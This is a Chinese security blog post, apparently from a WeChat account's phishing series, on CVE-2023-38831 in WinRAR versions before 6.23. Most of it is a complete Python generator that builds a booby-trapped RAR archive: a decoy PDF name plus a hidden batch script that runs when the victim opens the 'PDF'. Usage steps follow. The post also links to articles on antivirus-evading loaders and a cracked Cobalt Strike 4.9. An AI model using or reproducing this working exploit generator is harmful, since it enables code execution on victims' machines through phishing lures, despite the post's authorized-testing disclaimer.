声明:此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
现在只对常读和星标的公众号才展示大图推送,建议大家把猫蛋儿安全“设为星标”,否则可能看不到了!
0x00 前言
本漏洞不适合实战使用,脱离了常规逻辑的用户点击使用习惯,且文案很难搭配。因此只建议本地复现熟悉一下,以防面试中问起来不知道。
0x01 影响版本
WinRAR< 6.23
0x02 复现过程
恶意winrar制作代码如下
import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.rar"
BAIT_NAME = "CLASSIFIED_DOCUMENTS.pdf"
SCRIPT_NAME = "script.bat"
if len(sys.argv) > 3:
BAIT_NAME = os.path.basename(sys.argv[1])
SCRIPT_NAME = os.path.basename(sys.argv[2])
OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
pass
else:
print("""Usage:
python .cve-2023-38831-exp-gen.py poc
python .cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
sys.exit()
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)
if os.path.exists(TEMPLATE_NAME):
shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
os.mkdir(d)
shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
with open(TEMPLATE_NAME + ".zip", "rb") as f:
content = f.read()
content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
os.remove(TEMPLATE_NAME + ".zip")
with open(OUTPUT_NAME, "wb") as f:
f.write(content)
print("ok..")
首先我们需要准备3个文件,exp.py为上面的恶意winrar生成代码,calc.bat为恶意bat文件,filename.pdf为必须附带的文件。
最后面的参数"cve-2023-38831.rar"为最后恶意文件生成的名称,前两个则为pdf名称与恶意bat的名称。当执行生成完后,会在当前目录生成一个cve-2023-38831.rar的文件。
那个,你都看到这里了,还不点个关注吗~~
关于我们
点击下方名片进入公众号,欢迎关注!
往期回顾
钓鱼系列文章
SlientSC 10.17 红队免杀加载器分享
【猫蛋儿钓鱼】鱼饵-winrar捆绑手法
【工具分享】CS4.9 破解版已出!!!
点个小赞你最好看
原文始发于微信公众号(猫蛋儿安全):【猫蛋儿钓鱼】鱼饵-WinRAR远程代码执行(CVE-2023-38831)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论